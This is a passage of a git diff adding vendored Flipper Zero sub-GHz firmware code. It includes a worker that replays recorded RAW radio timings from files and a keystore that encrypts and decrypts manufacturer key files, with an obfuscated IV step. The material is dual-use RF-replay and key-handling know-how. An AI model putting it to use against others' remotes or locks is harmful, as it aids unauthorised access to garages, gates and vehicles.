+    FlipperFormat* flipper_format;
+
+    volatile bool worker_running;
+    volatile bool worker_stopping;
+    bool is_storage_slow;
+    FuriString* str_data;
+    FuriString* file_path;
+    const SubGhzDevice* device;
+
+    SubGhzFileEncoderWorkerCallbackEnd callback_end;
+    void* context_end;
+};
+
+void subghz_file_encoder_worker_callback_end(
+    SubGhzFileEncoderWorker* instance,
+    SubGhzFileEncoderWorkerCallbackEnd callback_end,
+    void* context_end) {
+    furi_assert(instance);
+    furi_assert(callback_end);
+    instance->callback_end = callback_end;
+    instance->context_end = context_end;
+}
+
+void subghz_file_encoder_worker_add_level_duration(
+    SubGhzFileEncoderWorker* instance,
+    int32_t duration) {
+    size_t ret = furi_stream_buffer_send(instance->stream, &duration, sizeof(int32_t), 100);
+    if(sizeof(int32_t) != ret) FURI_LOG_E(TAG, "Invalid add duration in the stream");
+}
+
+bool subghz_file_encoder_worker_data_parse(SubGhzFileEncoderWorker* instance, const char* strStart) {
+    // Line sample: "RAW_Data: -1, 2, -2..."
+
+    // Look for the key in the line
+    char* str = strstr(strStart, "RAW_Data: ");
+    bool res = false;
+
+    if(str) {
+        // Skip key
+        str = strchr(str, ' ');
+
+        // Parse next element
+        int32_t duration;
+        while(strint_to_int32(str, &str, &duration, 10) == StrintParseNoError) {
+            if((duration < -1000000) || (duration > 1000000)) {
+                if(duration > 0) {
+                    subghz_file_encoder_worker_add_level_duration(instance, (int32_t)100);
+                } else {
+                    subghz_file_encoder_worker_add_level_duration(instance, (int32_t)-100);
+                }
+                //FURI_LOG_I("PARSE", "Number overflow - %d", duration);
+            } else {
+                subghz_file_encoder_worker_add_level_duration(instance, duration);
+            }
+            if(*str == ',') str++; // could also be `\0`
+        }
+
+        res = true;
+    }
+
+    return res;
+}
+
+void subghz_file_encoder_worker_get_text_progress(
+    SubGhzFileEncoderWorker* instance,
+    FuriString* output) {
+    UNUSED(output);
+    Stream* stream = flipper_format_get_raw_stream(instance->flipper_format);
+    size_t total_size = stream_size(stream);
+    size_t current_offset = stream_tell(stream);
+    size_t buffer_avail = furi_stream_buffer_bytes_available(instance->stream);
+
+    furi_string_printf(output, "%03u%%", 100 * (current_offset - buffer_avail) / total_size);
+}
+
+LevelDuration subghz_file_encoder_worker_get_level_duration(void* context) {
+    furi_assert(context);
+    SubGhzFileEncoderWorker* instance = context;
+    int32_t duration;
+    int ret = furi_stream_buffer_receive(instance->stream, &duration, sizeof(int32_t), 0);
+    if(ret == sizeof(int32_t)) {
+        LevelDuration level_duration = {.level = LEVEL_DURATION_RESET};
+        if(duration < 0) {
+            level_duration = level_duration_make(false, -duration);
+        } else if(duration > 0) {
+            level_duration = level_duration_make(true, duration);
+        } else if(duration == 0) { //-V547
+            level_duration = level_duration_reset();
+            FURI_LOG_I(TAG, "Stop transmission");
+            instance->worker_stopping = true;
+        }
+        return level_duration;
+    } else {
+        instance->is_storage_slow = true;
+        return level_duration_wait();
+    }
+}
+
+/** Worker thread
+ * 
+ * @param context 
+ * @return exit code 
+ */
+static int32_t subghz_file_encoder_worker_thread(void* context) {
+    SubGhzFileEncoderWorker* instance = context;
+    FURI_LOG_I(TAG, "Worker start");
+    bool res = false;
+    instance->is_storage_slow = false;
+    Stream* stream = flipper_format_get_raw_stream(instance->flipper_format);
+    do {
+        if(!flipper_format_file_open_existing(
+               instance->flipper_format, furi_string_get_cstr(instance->file_path))) {
+            FURI_LOG_E(
+                TAG,
+                "Unable to open file for read: %s",
+                furi_string_get_cstr(instance->file_path));
+            break;
+        }
+        if(!flipper_format_read_string(instance->flipper_format, "Protocol", instance->str_data)) {
+            FURI_LOG_E(TAG, "Missing Protocol");
+            break;
+        }
+
+        //skip the end of the previous line "\n"
+        stream_seek(stream, 1, StreamOffsetFromCurrent);
+        res = true;
+        instance->worker_stopping = false;
+        FURI_LOG_I(TAG, "Start transmission");
+    } while(0);
+
+    while(res && instance->worker_running) {
+        size_t stream_free_byte = furi_stream_buffer_spaces_available(instance->stream);
+        if((stream_free_byte / sizeof(int32_t)) >= SUBGHZ_FILE_ENCODER_LOAD) {
+            if(stream_read_line(stream, instance->str_data)) {
+                furi_string_trim(instance->str_data);
+                if(!subghz_file_encoder_worker_data_parse(
+                       instance, furi_string_get_cstr(instance->str_data))) {
+                    subghz_file_encoder_worker_add_level_duration(instance, LEVEL_DURATION_RESET);
+                    break;
+                }
+            } else {
+                subghz_file_encoder_worker_add_level_duration(instance, LEVEL_DURATION_RESET);
+                break;
+            }
+        } else {
+            furi_delay_ms(1);
+        }
+    }
+    //waiting for the end of the transfer
+    if(instance->is_storage_slow) {
+        FURI_LOG_E(TAG, "Storage is slow");
+    }
+
+    FURI_LOG_I(TAG, "End read file");
+    while(instance->device && !subghz_devices_is_async_complete_tx(instance->device) &&
+          instance->worker_running) {
+        furi_delay_ms(5);
+    }
+
+    FURI_LOG_I(TAG, "End transmission");
+    while(instance->worker_running) {
+        if(instance->worker_stopping) {
+            if(instance->callback_end) instance->callback_end(instance->context_end);
+        }
+        furi_delay_ms(50);
+    }
+    flipper_format_file_close(instance->flipper_format);
+
+    FURI_LOG_I(TAG, "Worker stop");
+    return 0;
+}
+
+SubGhzFileEncoderWorker* subghz_file_encoder_worker_alloc(void) {
+    SubGhzFileEncoderWorker* instance = malloc(sizeof(SubGhzFileEncoderWorker));
+
+    instance->thread =
+        furi_thread_alloc_ex("SubGhzFEWorker", 2048, subghz_file_encoder_worker_thread, instance);
+    instance->stream = furi_stream_buffer_alloc(sizeof(int32_t) * 2048, sizeof(int32_t));
+
+    instance->storage = furi_record_open(RECORD_STORAGE);
+    instance->flipper_format = flipper_format_file_alloc(instance->storage);
+
+    instance->str_data = furi_string_alloc();
+    instance->file_path = furi_string_alloc();
+    instance->worker_stopping = true;
+
+    return instance;
+}
+
+void subghz_file_encoder_worker_free(SubGhzFileEncoderWorker* instance) {
+    furi_assert(instance);
+
+    furi_stream_buffer_free(instance->stream);
+    furi_thread_free(instance->thread);
+
+    furi_string_free(instance->str_data);
+    furi_string_free(instance->file_path);
+
+    flipper_format_free(instance->flipper_format);
+    furi_record_close(RECORD_STORAGE);
+
+    free(instance);
+}
+
+bool subghz_file_encoder_worker_start(
+    SubGhzFileEncoderWorker* instance,
+    const char* file_path,
+    const char* radio_device_name) {
+    furi_assert(instance);
+    furi_assert(!instance->worker_running);
+
+    furi_stream_buffer_reset(instance->stream);
+    furi_string_set(instance->file_path, file_path);
+    if(radio_device_name) {
+        instance->device = subghz_devices_get_by_name(radio_device_name);
+    }
+    instance->worker_running = true;
+    furi_thread_start(instance->thread);
+
+    return true;
+}
+
+void subghz_file_encoder_worker_stop(SubGhzFileEncoderWorker* instance) {
+    furi_assert(instance);
+    furi_assert(instance->worker_running);
+
+    instance->worker_running = false;
+    furi_thread_join(instance->thread);
+}
+
+bool subghz_file_encoder_worker_is_running(SubGhzFileEncoderWorker* instance) {
+    furi_assert(instance);
+    return instance->worker_running;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.h b/lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.h
new file mode 100644
index 000000000..f3964b26b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.h
@@ -0,0 +1,78 @@
+#pragma once
+
+#include <furi_hal.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void (*SubGhzFileEncoderWorkerCallbackEnd)(void* context);
+
+typedef struct SubGhzFileEncoderWorker SubGhzFileEncoderWorker;
+
+/** 
+ * End callback SubGhzWorker.
+ * @param instance SubGhzFileEncoderWorker instance
+ * @param callback SubGhzFileEncoderWorkerCallbackEnd callback
+ */
+void subghz_file_encoder_worker_callback_end(
+    SubGhzFileEncoderWorker* instance,
+    SubGhzFileEncoderWorkerCallbackEnd callback_end,
+    void* context_end);
+
+/** 
+ * Allocate SubGhzFileEncoderWorker.
+ * @return SubGhzFileEncoderWorker* pointer to a SubGhzFileEncoderWorker instance 
+ */
+SubGhzFileEncoderWorker* subghz_file_encoder_worker_alloc(void);
+
+/** 
+ * Free SubGhzFileEncoderWorker.
+ * @param instance Pointer to a SubGhzFileEncoderWorker instance
+ */
+void subghz_file_encoder_worker_free(SubGhzFileEncoderWorker* instance);
+
+/** 
+ * Get a description of the progress.
+ * @param instance Pointer to a SubGhzFileEncoderWorker instance
+ * @param output
+ */
+void subghz_file_encoder_worker_get_text_progress(
+    SubGhzFileEncoderWorker* instance,
+    FuriString* output);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzFileEncoderWorker instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_file_encoder_worker_get_level_duration(void* context);
+
+/** 
+ * Start SubGhzFileEncoderWorker.
+ * @param instance Pointer to a SubGhzFileEncoderWorker instance
+ * @param file_path File path
+ * @param radio_device_name Radio device name
+ * @return bool - true if ok
+ */
+bool subghz_file_encoder_worker_start(
+    SubGhzFileEncoderWorker* instance,
+    const char* file_path,
+    const char* radio_device_name);
+
+/** 
+ * Stop SubGhzFileEncoderWorker
+ * @param instance Pointer to a SubGhzFileEncoderWorker instance
+ */
+void subghz_file_encoder_worker_stop(SubGhzFileEncoderWorker* instance);
+
+/** 
+ * Check if worker is running
+ * @param instance Pointer to a SubGhzFileEncoderWorker instance
+ * @return bool - true if running
+ */
+bool subghz_file_encoder_worker_is_running(SubGhzFileEncoderWorker* instance);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.c b/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.c
new file mode 100644
index 000000000..17b958e0e
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.c
@@ -0,0 +1,619 @@
+#include "subghz_keystore.h"
+#include "subghz_keystore_i.h"
+
+#include <furi.h>
+#include <furi_hal.h>
+
+#include <storage/storage.h>
+#include <toolbox/hex.h>
+#include <toolbox/stream/stream.h>
+#include <flipper_format/flipper_format.h>
+#include <flipper_format/flipper_format_i.h>
+
+#define TAG "SubGhzKeystore"
+
+#define FILE_BUFFER_SIZE 64
+
+#define SUBGHZ_KEYSTORE_FILE_TYPE     "Flipper SubGhz Keystore File"
+#define SUBGHZ_KEYSTORE_FILE_RAW_TYPE "Flipper SubGhz Keystore RAW File"
+#define SUBGHZ_KEYSTORE_FILE_VERSION  0
+
+#define SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT 1
+#define SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE 512
+#define SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE (SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE * 2)
+
+typedef enum {
+    SubGhzKeystoreEncryptionNone,
+    SubGhzKeystoreEncryptionAES256,
+} SubGhzKeystoreEncryption;
+
+SubGhzKeystore* subghz_keystore_alloc(void) {
+    SubGhzKeystore* instance = malloc(sizeof(SubGhzKeystore));
+
+    SubGhzKeyArray_init(instance->data);
+
+    subghz_keystore_reset_kl(instance);
+
+    return instance;
+}
+
+void subghz_keystore_reset_kl(SubGhzKeystore* instance) {
+    furi_assert(instance);
+
+    instance->mfname = "";
+    instance->kl_type = 0;
+}
+
+void subghz_keystore_free(SubGhzKeystore* instance) {
+    furi_assert(instance);
+
+    for
+        M_EACH(manufacture_code, instance->data, SubGhzKeyArray_t) {
+            furi_string_free(manufacture_code->name);
+            manufacture_code->key = 0;
+        }
+    SubGhzKeyArray_clear(instance->data);
+
+    free(instance);
+}
+
+static void subghz_keystore_add_key(
+    SubGhzKeystore* instance,
+    const char* name,
+    uint64_t key,
+    uint16_t type) {
+    SubGhzKey* manufacture_code = SubGhzKeyArray_push_raw(instance->data);
+    manufacture_code->name = furi_string_alloc_set(name);
+    manufacture_code->key = key;
+    manufacture_code->type = type;
+}
+
+static bool subghz_keystore_process_line(SubGhzKeystore* instance, char* line) {
+    uint64_t key = 0;
+    uint16_t type = 0;
+    char skey[17] = {0};
+    char name[65] = {0};
+    int ret = sscanf(line, "%16s:%hu:%64s", skey, &type, name);
+    key = strtoull(skey, NULL, 16);
+    if(ret == 3) {
+        subghz_keystore_add_key(instance, name, key, type);
+        return true;
+    } else {
+        FURI_LOG_E(TAG, "Failed to load line: %s\r\n", line);
+        return false;
+    }
+}
+
+static void subghz_keystore_mess_with_iv(uint8_t* iv) {
+    // Alignment check for `ldrd` instruction
+    furi_assert(((uint32_t)iv) % 4 == 0);
+    // Please do not share decrypted manufacture keys
+    // Sharing them will bring some discomfort to legal owners
+    // And potential legal action against you
+    // While you reading this code think about your own personal responsibility
+    asm volatile("nani%=:                  \n"
+                 "ldrd  r0, r2, [%0, #0x0] \n"
+                 "lsl   r1, r0, #8         \n"
+                 "lsl   r3, r2, #8         \n"
+                 "orr   r3, r3, r0, lsr #24\n"
+                 "uadd8 r1, r1, r0         \n"
+                 "uadd8 r3, r3, r2         \n"
+                 "strd  r1, r3, [%0, #0x0] \n"
+                 "ldrd  r1, r3, [%0, #0x8] \n"
+                 "lsl   r0, r1, #8         \n"
+                 "orr   r0, r0, r2, lsr #24\n"
+                 "lsl   r2, r3, #8         \n"
+                 "orr   r2, r2, r1, lsr #24\n"
+                 "uadd8 r1, r1, r0         \n"
+                 "uadd8 r3, r3, r2         \n"
+                 "strd  r1, r3, [%0, #0x8] \n"
+                 :
+                 : "r"(iv)
+                 : "r0", "r1", "r2", "r3", "memory");
+}
+
+static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, uint8_t* iv) {
+    bool result = true;
+    uint8_t buffer[FILE_BUFFER_SIZE];
+
+    char* decrypted_line = malloc(SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE);
+    char* encrypted_line = malloc(SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE);
+    size_t encrypted_line_cursor = 0;
+
+    do {
+        if(iv) {
+            if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) {
+                FURI_LOG_E(TAG, "Unable to load decryption key");
+                break;
+            }
+        }
+
+        size_t ret = 0;
+        do {
+            ret = stream_read(stream, buffer, FILE_BUFFER_SIZE);
+            for(uint16_t i = 0; i < ret; i++) {
+                if(buffer[i] == '\n' && encrypted_line_cursor > 0) {
+                    // Process line
+                    if(iv) {
+                        // Data alignment check, 32 instead of 16 because of hex encoding
+                        size_t len = strlen(encrypted_line);
+                        if(len % 32 == 0) {
+                            // Inplace hex to bin conversion
+                            for(size_t i = 0; i < len; i += 2) {
+                                uint8_t hi_nibble = 0;
+                                uint8_t lo_nibble = 0;
+                                hex_char_to_hex_nibble(encrypted_line[i], &hi_nibble);
+                                hex_char_to_hex_nibble(encrypted_line[i + 1], &lo_nibble);
+                                encrypted_line[i / 2] = (hi_nibble << 4) | lo_nibble;
+                            }
+                            len /= 2;
+
+                            if(furi_hal_crypto_decrypt(
+                                   (uint8_t*)encrypted_line, (uint8_t*)decrypted_line, len)) {
+                                subghz_keystore_process_line(instance, decrypted_line);
+                            } else {
+                                FURI_LOG_E(TAG, "Decryption failed");
+                                result = false;
+                                break;
+                            }
+                        } else {
+                            FURI_LOG_E(TAG, "Invalid encrypted data: %s", encrypted_line);
+                        }
+                    } else {
+                        subghz_keystore_process_line(instance, encrypted_line);
+                    }
+                    // reset line buffer
+                    memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE);
+                    memset(encrypted_line, 0, SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE);
+                    encrypted_line_cursor = 0;
+                } else if(buffer[i] == '\r' || buffer[i] == '\n') {
+                    // do not add line endings to the buffer
+                } else {
+                    if(encrypted_line_cursor < SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE) {
+                        encrypted_line[encrypted_line_cursor] = buffer[i];
+                        encrypted_line_cursor++;
+                    } else {
+                        FURI_LOG_E(TAG, "Malformed file");
+                        result = false;
+                        break;
+                    }
+                }
+            }
+        } while(ret > 0 && result);
+
+        if(iv) furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT);
+    } while(false);
+
+    free(encrypted_line);
+    free(decrypted_line);
+
+    return result;
+}
+
+bool subghz_keystore_load(SubGhzKeystore* instance, const char* file_name) {
+    furi_assert(instance);
+    bool result = false;
+    uint8_t iv[16];
+    uint32_t version;
+    uint32_t encryption;
+
+    FuriString* filetype;
+    filetype = furi_string_alloc();
+
+    FURI_LOG_I(TAG, "Loading keystore %s", file_name);
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+
+    FlipperFormat* flipper_format = flipper_format_file_alloc(storage);
+    do {
+        if(!flipper_format_file_open_existing(flipper_format, file_name)) {
+            FURI_LOG_E(TAG, "Unable to open file for read: %s", file_name);
+            break;
+        }
+        if(!flipper_format_read_header(flipper_format, filetype, &version)) {
+            FURI_LOG_E(TAG, "Missing or incorrect header");
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "Encryption", (uint32_t*)&encryption, 1)) {
+            FURI_LOG_E(TAG, "Missing encryption type");
+            break;
+        }
+
+        if(strcmp(furi_string_get_cstr(filetype), SUBGHZ_KEYSTORE_FILE_TYPE) != 0 ||
+           version != SUBGHZ_KEYSTORE_FILE_VERSION) {
+            FURI_LOG_E(TAG, "Type or version mismatch");
+            break;
+        }
+
+        Stream* stream = flipper_format_get_raw_stream(flipper_format);
+        if(encryption == SubGhzKeystoreEncryptionNone) {
+            result = subghz_keystore_read_file(instance, stream, NULL);
+        } else if(encryption == SubGhzKeystoreEncryptionAES256) {
+            if(!flipper_format_read_hex(flipper_format, "IV", iv, 16)) {
+                FURI_LOG_E(TAG, "Missing IV");
+                break;
+            }
+            subghz_keystore_mess_with_iv(iv);
+            result = subghz_keystore_read_file(instance, stream, iv);
+        } else {
+            FURI_LOG_E(TAG, "Unknown encryption");
+            break;
+        }
+    } while(0);
+    flipper_format_free(flipper_format);
+
+    furi_record_close(RECORD_STORAGE);
+
+    furi_string_free(filetype);
+
+    return result;
+}
+
+bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8_t* iv) {
+    furi_assert(instance);
+    bool result = false;
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    char* decrypted_line = malloc(SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE);
+    char* encrypted_line = malloc(SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE);
+
+    FlipperFormat* flipper_format = flipper_format_file_alloc(storage);
+    do {
+        if(!flipper_format_file_open_always(flipper_format, file_name)) {
+            FURI_LOG_E(TAG, "Unable to open file for write: %s", file_name);
+            break;
+        }
+        if(!flipper_format_write_header_cstr(
+               flipper_format, SUBGHZ_KEYSTORE_FILE_TYPE, SUBGHZ_KEYSTORE_FILE_VERSION)) {
+            FURI_LOG_E(TAG, "Unable to add header");
+            break;
+        }
+        uint32_t encryption = SubGhzKeystoreEncryptionAES256;
+        if(!flipper_format_write_uint32(flipper_format, "Encryption", &encryption, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Encryption");
+            break;
+        }
+        if(!flipper_format_write_hex(flipper_format, "IV", iv, 16)) {
+            FURI_LOG_E(TAG, "Unable to add IV");
+            break;
+        }
+
+        subghz_keystore_mess_with_iv(iv);
+
+        if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) {
+            FURI_LOG_E(TAG, "Unable to load encryption key");
+            break;
+        }
+
+        Stream* stream = flipper_format_get_raw_stream(flipper_format);
+        size_t encrypted_line_count = 0;
+        for
+            M_EACH(key, instance->data, SubGhzKeyArray_t) {
+                // Wipe buffer before packing
+                memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE);
+                memset(encrypted_line, 0, SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE);
+                // Form unecreypted line
+                int len = snprintf(
+                    decrypted_line,
+                    SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE,
+                    "%08lX%08lX:%hu:%s",
+                    (uint32_t)(key->key >> 32),
+                    (uint32_t)key->key,
+                    key->type,
+                    furi_string_get_cstr(key->name));
+                // Verify length and align
+                furi_assert(len > 0);
+                if(len % 16 != 0) {
+                    len += (16 - len % 16);
+                }
+                furi_assert(len % 16 == 0);
+                furi_assert(len <= SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE);
+                // Form encrypted line
+                if(!furi_hal_crypto_encrypt(
+                       (uint8_t*)decrypted_line, (uint8_t*)encrypted_line, len)) {
+                    FURI_LOG_E(TAG, "Encryption failed");
+                    break;
+                }
+                // HEX Encode encrypted line
+                const char xx[] = "0123456789ABCDEF";
+                for(int i = 0; i < len; i++) {
+                    size_t cursor = len - i - 1;
+                    size_t hex_cursor = len * 2 - i * 2 - 1;
+                    encrypted_line[hex_cursor] = xx[encrypted_line[cursor] & 0xF];
+                    encrypted_line[hex_cursor - 1] = xx[(encrypted_line[cursor] >> 4) & 0xF];
+                }
+                stream_write_cstring(stream, encrypted_line);
+                stream_write_char(stream, '\n');
+                encrypted_line_count++;
+            }
+        furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT);
+        size_t total_keys = SubGhzKeyArray_size(instance->data);
+        result = encrypted_line_count == total_keys;
+        if(result) {
+            FURI_LOG_I(TAG, "Success. Encrypted: %zu of %zu", encrypted_line_count, total_keys);
+        } else {
+            FURI_LOG_E(TAG, "Failure. Encrypted: %zu of %zu", encrypted_line_count, total_keys);
+        }
+    } while(0);
+    flipper_format_free(flipper_format);
+
+    free(encrypted_line);
+    free(decrypted_line);
+    furi_record_close(RECORD_STORAGE);
+
+    return result;
+}
+
+SubGhzKeyArray_t* subghz_keystore_get_data(SubGhzKeystore* instance) {
+    furi_assert(instance);
+    return &instance->data;
+}
+
+bool subghz_keystore_raw_encrypted_save(
+    const char* input_file_name,
+    const char* output_file_name,
+    uint8_t* iv) {
+    bool encrypted = false;
+    uint32_t version;
+    uint32_t encryption;
+    FuriString* filetype;
+    filetype = furi_string_alloc();
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+
+    char* encrypted_line = malloc(SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE);
+
+    FlipperFormat* input_flipper_format = flipper_format_file_alloc(storage);
+    do {
+        if(!flipper_format_file_open_existing(input_flipper_format, input_file_name)) {
+            FURI_LOG_E(TAG, "Unable to open file for read: %s", input_file_name);
+            break;
+        }
+        if(!flipper_format_read_header(input_flipper_format, filetype, &version)) {
+            FURI_LOG_E(TAG, "Missing or incorrect header");
+            break;
+        }
+        if(!flipper_format_read_uint32(
+               input_flipper_format, "Encryption", (uint32_t*)&encryption, 1)) {
+            FURI_LOG_E(TAG, "Missing encryption type");
+            break;
+        }
+
+        if(strcmp(furi_string_get_cstr(filetype), SUBGHZ_KEYSTORE_FILE_RAW_TYPE) != 0 ||
+           version != SUBGHZ_KEYSTORE_FILE_VERSION) {
+            FURI_LOG_E(TAG, "Type or version mismatch");
+            break;
+        }
+
+        if(encryption != SubGhzKeystoreEncryptionNone) {
+            FURI_LOG_E(TAG, "Already encryption");
+            break;
+        }
+        Stream* input_stream = flipper_format_get_raw_stream(input_flipper_format);
+
+        FlipperFormat* output_flipper_format = flipper_format_file_alloc(storage);
+
+        if(!flipper_format_file_open_always(output_flipper_format, output_file_name)) {
+            FURI_LOG_E(TAG, "Unable to open file for write: %s", output_file_name);
+            break;
+        }
+        if(!flipper_format_write_header_cstr(
+               output_flipper_format,
+               furi_string_get_cstr(filetype),
+               SUBGHZ_KEYSTORE_FILE_VERSION)) {
+            FURI_LOG_E(TAG, "Unable to add header");
+            break;
+        }
+        uint32_t encryption = SubGhzKeystoreEncryptionAES256;
+        if(!flipper_format_write_uint32(output_flipper_format, "Encryption", &encryption, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Encryption");
+            break;
+        }
+        if(!flipper_format_write_hex(output_flipper_format, "IV", iv, 16)) {
+            FURI_LOG_E(TAG, "Unable to add IV");
+            break;
+        }
+
+        if(!flipper_format_write_string_cstr(output_flipper_format, "Encrypt_data", "RAW")) {
+            FURI_LOG_E(TAG, "Unable to add Encrypt_data");
+            break;
+        }
+
+        subghz_keystore_mess_with_iv(iv);
+
+        if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) {
+            FURI_LOG_E(TAG, "Unable to load encryption key");
+            break;
+        }
+
+        Stream* output_stream = flipper_format_get_raw_stream(output_flipper_format);
+        uint8_t buffer[FILE_BUFFER_SIZE];
+        bool result = true;
+
+        size_t ret = 0;
+        furi_assert(FILE_BUFFER_SIZE % 16 == 0);
+
+        //skip the end of the previous line "\n"
+        stream_read(input_stream, buffer, 1);
+
+        do {
+            memset(buffer, 0, FILE_BUFFER_SIZE);
+            ret = stream_read(input_stream, buffer, FILE_BUFFER_SIZE);
+            if(ret == 0) {
+                break;
+            }
+
+            for(uint16_t i = 0; i < FILE_BUFFER_SIZE - 1; i += 2) {
+                uint8_t hi_nibble = 0;
+                uint8_t lo_nibble = 0;
+                hex_char_to_hex_nibble(buffer[i], &hi_nibble);
+                hex_char_to_hex_nibble(buffer[i + 1], &lo_nibble);
+                buffer[i / 2] = (hi_nibble << 4) | lo_nibble;
+            }
+
+            memset(encrypted_line, 0, SUBGHZ_KEYSTORE_FILE_ENCRYPTED_LINE_SIZE);
+            // Form encrypted line
+            if(!furi_hal_crypto_encrypt(
+                   (uint8_t*)buffer, (uint8_t*)encrypted_line, FILE_BUFFER_SIZE / 2)) {
+                FURI_LOG_E(TAG, "Encryption failed");
+                result = false;
+                break;
+            }
+
+            // HEX Encode encrypted line
+            const char xx[] = "0123456789ABCDEF";
+            for(size_t i = 0; i < FILE_BUFFER_SIZE / 2; i++) {
+                size_t cursor = FILE_BUFFER_SIZE / 2 - i - 1;
+                size_t hex_cursor = FILE_BUFFER_SIZE - i * 2 - 1;
+                encrypted_line[hex_cursor] = xx[encrypted_line[cursor] & 0xF];
+                encrypted_line[hex_cursor - 1] = xx[(encrypted_line[cursor] >> 4) & 0xF];
+            }
+            stream_write_cstring(output_stream, encrypted_line);
+
+        } while(true);
+
+        flipper_format_free(output_flipper_format);
+
+        furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT);
+
+        if(!result) break;
+
+        encrypted = true;
+    } while(0);
+
+    flipper_format_free(input_flipper_format);
+
+    free(encrypted_line);
+
+    furi_record_close(RECORD_STORAGE);
+
+    return encrypted;
+}
+
+bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* data, size_t len) {
+    bool result = false;
+    uint8_t iv[16];
+    uint32_t version;
+    uint32_t encryption;
+
+    FuriString* str_temp;
+    str_temp = furi_string_alloc();
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    char* decrypted_line = malloc(SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE);
+
+    FlipperFormat* flipper_format = flipper_format_file_alloc(storage);
+    do {
+        if(!flipper_format_file_open_existing(flipper_format, file_name)) {
+            FURI_LOG_E(TAG, "Unable to open file for read: %s", file_name);
+            break;
+        }
+        if(!flipper_format_read_header(flipper_format, str_temp, &version)) {
+            FURI_LOG_E(TAG, "Missing or incorrect header");
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "Encryption", (uint32_t*)&encryption, 1)) {
+            FURI_LOG_E(TAG, "Missing encryption type");
+            break;
+        }
+
+        if(strcmp(furi_string_get_cstr(str_temp), SUBGHZ_KEYSTORE_FILE_RAW_TYPE) != 0 ||
+           version != SUBGHZ_KEYSTORE_FILE_VERSION) {
+            FURI_LOG_E(TAG, "Type or version mismatch");
+            break;
+        }
+
+        Stream* stream = flipper_format_get_raw_stream(flipper_format);
+        if(encryption != SubGhzKeystoreEncryptionAES256) {
+            FURI_LOG_E(TAG, "Unknown encryption");
+            break;
+        }
+
+        if(offset < 16) {
+            if(!flipper_format_read_hex(flipper_format, "IV", iv, 16)) {
+                FURI_LOG_E(TAG, "Missing IV");
+                break;
+            }
+            subghz_keystore_mess_with_iv(iv);
+        }
+
+        if(!flipper_format_read_string(flipper_format, "Encrypt_data", str_temp)) {
+            FURI_LOG_E(TAG, "Missing Encrypt_data");
+            break;
+        }
+
+        size_t bufer_size;
+        if(len <= (16 - offset % 16)) {
+            bufer_size = 32;
+        } else {
+            bufer_size = (((len) / 16) + 2) * 32;
+        }
+        furi_assert(SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE >= bufer_size / 2);
+
+        uint8_t buffer[bufer_size];
+        size_t ret = 0;
+        bool decrypted = true;
+        //skip the end of the previous line "\n"
+        stream_read(stream, buffer, 1);
+
+        size_t size = stream_size(stream);
+        size -= stream_tell(stream);
+        if(size < (offset * 2 + len * 2)) {
+            FURI_LOG_E(TAG, "Seek position exceeds file size");
+            break;
+        }
+
+        if(offset >= 16) {
+            stream_seek(stream, ((offset / 16) - 1) * 32, StreamOffsetFromCurrent);
+            ret = stream_read(stream, buffer, 32);
+            furi_assert(ret == 32);
+            for(uint16_t i = 0; i < ret - 1; i += 2) {
+                uint8_t hi_nibble = 0;
+                uint8_t lo_nibble = 0;
+                hex_char_to_hex_nibble(buffer[i], &hi_nibble);
+                hex_char_to_hex_nibble(buffer[i + 1], &lo_nibble);
+                iv[i / 2] = (hi_nibble << 4) | lo_nibble;
+            }
+        }
+
